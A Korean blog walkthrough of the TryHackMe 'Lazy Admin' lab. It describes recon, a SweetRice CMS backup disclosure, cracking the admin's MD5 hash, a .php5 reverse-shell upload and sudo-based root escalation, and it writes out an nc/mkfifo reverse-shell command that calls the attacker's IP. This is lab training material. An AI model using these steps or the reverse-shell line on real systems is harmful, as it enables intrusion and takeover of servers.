본문 바로가기

InfoSec Log/PenTesting

[PenTesting] Lazy Admin 침투테스트 @TryHackMe

Target: Lazy Admin by TryHackme

 

Target Ip: 10.10.211.243

 

Reconnaissance

 

먼저 타겟 IP를 대상으로 Nmap을 통해 열려 있는 포트에 대한 스캐닝을 수행한다. 

 

Nmap 사용 옵션

옵션 설명
-sT TCP 연결을 통한 스캔
-A 고급(Advanced or Aggressive) 탐색 모드. OS 및 서비스 버전 정보 탐지 등
-n DNS 해석 생략. 스캔 속도 향상 목적
-Pn Ping 생략. 타겟을 Ping을 통해 확인하지 않고 스캔 강제 수행

 

그러면 위 그림에서 확인할 수 있듯이 타겟의 서버 OS가 Linux 기반의 Ubuntu 이며 80번 포트에서 웹 서버가 실행 중이고, 해당 웹 서버 소프트웨어의 경우 Apache 2.4.18 버전을 사용하고 있는 것을 확인할 수 있다.

 

따라서 먼저 타겟 서버에서 실행 중인 웹 서버에 브라우저를 통해 접근해본다. 그러면 아래 그림에서 확인할 수 있듯이, Apache2 소프트웨어 설치 시 같이 설치되는 테스트 페이지가 출력되는 것을 확인할 수 있다.



이후 해당 웹 서버에 대한 정보를 더 수집하기 위해 Gobuster라는 도구를 이용하여 딕셔너리 기반의 무차별 대입을 통해서 해당 웹 서버의 디렉토리 구조를 파악해보도록 한다. 해당 도구에서의 딕셔너리는 아래 그림에서 확인할 수 있듯이 Kali Linux에 기본적으로 내장된 Word List를 사용하였다.

 

해당 도구를 통해 디렉토리에 대한 딕셔너리 공격을 수행하면 아래 그림에서 확인할 수 있듯이, /content 라는 리소스가 해당 웹 서버에 존재하는 것을 확인할 수 있다. 

 

브라우저를 통해 /content 리소스에 접근해 보면 아래 그림의 출력 결과를 확인할 수 있고, 해당 결과를 보면 해당 웹 사이트는 SweetRice라는 CMS(Content Management System)를 사용하는 것을 확인할 수 있다.

 

Kali Linux에서 Exploit DB의 정보를 검색할 수 있는 searchsploit 명령어를 이용하여 SweetRice 서비스에 대한 공격 코드가 존재하는지 확인해본다. 그러면 아래 그림에서와 같이, 해당 서비스에 대해 공격을 수행할 수 있는 목록이 출력되고, 그 중 Backup Disclosure를 이용하여 해당 서비스에 대한 정보를 더 수집해 나가도록 한다. Backup Disclosure는 백업 파일이 외부에 노출되어있는 취약점을 말한다. 

 

해당 PoC(Proof of Concept)파일을 열람해보면, MySQL의 백업 데이터들이 존재하는 /inc/mysql_backup의 리소스에 대해 외부에서 접근 가능하다는 것을 확인할 수 있다.  

 

타겟 웹 서버의 /content/inc/ 경로에 접근 해보면 아래 그림에서 확인 할 수 있듯이, 파일의 목록이 출력되는 디렉토리 리스팅 취약점이 존재하는 것을 확인할 수 있다. 파일 목록을 살펴보면 타겟 웹 서버의 서버 사이드 스크립트가 PHP를 사용하는 것을 확인할 수 있다. 또한 애플리케이션의 업데이트 정보(업데이트 날짜, 버전 정보 등)가 들어있을 것으로 짐작이 되는 latest.txt 라는 파일이 존재하는 것을 확인할 수 있고, 해당 파일에 열람을 시도해본다. 

 

그러면 아래 그림에서 확인 가능하듯이 타겟 웹 사이트에서 사용 중인, CMS의 버전 정보를 확인할 수 있다.

 

 

Exploit

 

이때까지 수집한 정보를 정리하면, 타겟 웹 사이트는 SweetRice 1.5.1 버전의 CMS를 사용하고 있다. 따라서 해당 버전에 맞는 공격 코드를 searchsploit 명령어를 통해 Exploit DB의 목록을 불러오고, 해당 결과는 아래 그림에서 확인 할 수 있다. 해당 결과 목록 중, Arbitrary File Upload, 즉 임의의 파일을 업로드 하는 공격 코드가 존재하는 것을 확인할 수 있는데 이를 타겟 서버를 대상으로 적용 해보도록 한다.



해당 공격 코드를 확인해 보면, 총 4개의 입력이 필요한 변수가 존재하는 것을 확인할 수 있다. 첫번째는 타겟의 URL 정보이며, 이는 이미 획득한 정보(10.10.211.243/content)이다. 두번째와 세번째는 계정 정보가 필요한 것을 확인할 수 있다. 해당 계정 정보는 CMS에 대한 관리자 계정 정보로 추측이 된다. 그리고 마지막 네번째는 임의의 파일로, 해당 코드는 임의의 파일을 업로드 하는 공격 코드이므로, 업로드 할 파일을 공격자가 지정해주어야 한다. 그리고 아래 코드에서 확인할 수 있듯이, php파일 업로드에 대해 php5의 파일 확장자로 우회 공격이 가능한 것을 확인할 수 있다.



현재 공격자가 해당 공격 코드를 통해 임의의 파일을 타겟 웹 서버에 업로드 하기 위해서는 관리자의 계정 정보가 필요하다. 따라서 백업 파일 노출 취약점과 디렉토리 리스팅 취약점을 통해 확인할 수 있는 mysql_backup/ 디렉토리에 접근하여 해당 MySQL 백업 파일에 관리자 계정 정보가 포함되어 있는지 확인해본다.

위 그림에서 볼 수 있는 /content/inc/mysql_backup/ 경로 내에 존재하는 sql 파일을 다운로드 한 후 아래 그림에서와 같이 열람을 시도해본다. 그러면 타겟 웹 서버와 연결된 데이터베이스에 존재하는 테이블의 구조에 관한 정보가 표시되는 것을 아래 그림에서 확인할 수 있다.

 

특히 패스워드에 대한 정보가 존재하는지 확인하기 위해 passwd라는 문자열 검색을 통해 해당 파일의 정보를 추출하도록 한다. 그러면 아래 그림에서와 같이, admin의 경우, manager로 지정되어 있고, passwd의 경우, 42f749ade7f9e195bf475f37a44cafcb 으로 지정되어 있는 것을 확인할 수 있다. 

 

현재 획득한 비밀번호는 해쉬 처리가 되어 있는데, 해쉬 함수의 경우 역함수가 존재하지 않는 단방향 함수이므로, 해당 값에 어떠한 해쉬 함수가 적용 되었는지 파악 후, 딕셔너리를 기반으로 해당 해쉬 함수를 적용하여 패턴 매칭을 통해 해당 비밀번호의 평문을 알아내는 수밖에 없다.

 

따라서 먼저 Hash Identifier라는 Kali Linux에 내장되어 있는 도구를 사용하여 획득한 비밀번호에 어떤 해쉬 함수가 적용되어 있는지 파악한다.

 

그러면 아래 그림에서와 같이 적용 가능한 해쉬 함수들로, MD5Domain Cached Credentials 가 나오는 것을 확인할 수 있다.



따라서 먼저 John The Ripper라는 도구를 이용하여 MD5 해쉬 함수를 적용하여 획득한 비밀번호에 대한 크랙을 진행한다. 해당 결과는 아래 그림에서 확인할 수 있고, 비밀번호의 평문이 Password123인 것을 확인할 수 있다.

John The Ripper 또한 비밀번호 크랙에 딕셔너리를 사용하는 것을 아래 그림에서 확인할 수 있는데, 비밀번호에 대한 딕셔너리 공격에 가장 자주 사용되는 rockyou.txt 파일을 사용하여 크랙을 진행하였다.

 

이후 업로드 할 파일을 지정해주기 위해, Kali Linux에 내장되어 있는 PHP에 대한 Reverse Shell을 사용하여 업로드를 진행하도록 한다. 그리고 앞서 살펴보았듯이, 파일의 확장자는 php가 아닌, php5로 수정하여 블랙리스트 기반의 파일 확장자 검증을 우회하도록 한다.

 

해당 파일에서 공격자가 지정해주어야 할 부분이 존재하는데, ipport 변수에 대해 공격자의 IP 주소Reverse Connection을 위해 Listening을 하고 있을 포트를 지정해주어야 한다. 따라서 위 그림처럼 공격자의 IP를 확인한 후, IP와 대기하고 있을 포트를 지정해준다.



 

그후 임의의 파일을 업로드하는 공격코드를 python <file_name.py>를 통해 실행해 준 후, 앞서 획득한 타겟의 URL, 관리자 아이디, 비밀번호, 업로드할 파일을 지정해주도록 한다. 여기서 타겟 URL은 10.10.211.243/content 이며, 관리자 아이디는 manager, 비밀번호는 Password123, 업로드할 파일은 reverse_shell.php5 이다.

 

그러면 위 그림에서 보듯이 리버스 쉘 파일이 업로드가 된 것을 확인할 수 있고, 공격자와의 Reverse Connection을 위해 공격자 측에서 netcat을 통해 앞서 리버스 쉘 파일에서 지정한 포트로 Listening을 하고 있도록 한다.



공격자 측에서 타겟 웹 서버와의 Reverse Connection을 위해 netcat을 통해 대기중으로 만든 상태에서 타겟 웹 서버에 업로드 되어 있는 Reverse Shell 파일을 실행 시키도록 한다. 그러면 아래 그림에서와 같이 해당 리소스 요청에 대해 무한 로딩 상태에 빠지는 것을 확인할 수 있다.

 

이후 공격자 측의 쉘로 돌아와 연결 상태를 확인해보면, 타겟의 웹 서버와 연결에 성공한 것을 확인할 수 있다. 즉 이는 타겟 웹 서버의 쉘을 획득한 것으로 하지만 아래 그림에서 보듯이 현재 공격자의 권한은 www-data로 일반적인 인터넷 사용자의 권한이다. 즉 현재 공격자는 시스템의 최상위 권한인 root 사용자가 아니므로, 이후 후속 침투에 대한 제약이 발생한다. 따라서 현재 공격자의 권한을 root 권한으로 상승시켜 주도록 한다.

 

 

Privilege Escalation

 

root로의 권한 상승을 위해 먼저 sudo -l 명령어를 통해 관리자 권한으로 실행할 수 있는 명령어들을 확인한다. 여기서 sudo -l 명령어는 현재 사용자 또는 특정 사용자가 sudo 권한(root 권한)을 가지고 실행할 수 있는 명령어 목록을  출력한다. 즉 sudo -l은 현재 사용자가 관리자 권한으로 어떠한 명령어들을 실행할 수 있는지 나열한다. 

 

그러면 아래 그림에서 볼 수 있듯이, /usr/bin/perl /home/itguy/backup.pl 이라는 명령어에 대해 비밀번호가 필요 없이 누구나 실행 가능한 것을 확인할 수 있다.

 

해당 파일의 내용을 확인해 보면 아래 그림에서와 같이 /etc/copy.sh 파일을 system() 함수를 통해 실행하고 있는 것을 확인할 수 있다.



그러면 /etc/copy.sh 파일의 내용을 확인하여 어떠한 명령을 실행하는지 확인해본다. 해당 결과는 아래 그림에서 확인할 수 있듯이 netcat을 통해 리버스 쉘 연결을 하는 명령어가 포함되어 있는 것을 확인할 수 있다. 이는 개발자가 해당 시스템과의 편한 연결을 위해 백도어를 설치해둔 것으로 파악된다. 현재 공격자의 IP(10.4.97.210)가 출력되어 있는데 이는 이전 실습으로 인해 남아있는 것이므로 무시해도 되는 부분이다.

 

echo 함수를 통해 /etc/copy.sh 파일의 내용을 현재 공격자의 IP리버스 쉘 연결을 진행할 포트로 설정해준다. 여기서의 경우, 공격자의 IP는 10.4.97.210 이며, 포트는 8081이다.

/etc/copy.sh 내용 설정 명령어
echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.4.97.210 8081 > /tmp/f" > /etc/copy.sh

 

 

리버스 쉘 연결을 위해 먼저 공격자 측에서 netcat을 통해 대기하고 있는다.

 

타겟과 연결된 쉘을 통해 이전 sudo -l을 통해 확인한 명령어인, sudo /usr/bin/perl /home/itguy/backup.pl을 실행한다.



그러면 아래 그림에서와 같이 타겟과 연결에 성공하고, 권한 또한 root 권한인 것을 확인할 수 있다. 즉 해당 과정을 통해 공격자의 권한을 www-data에서 Linux 시스템에서의 최상위 권한인 root 권한으로 상승시킨 것을 확인할 수 있다.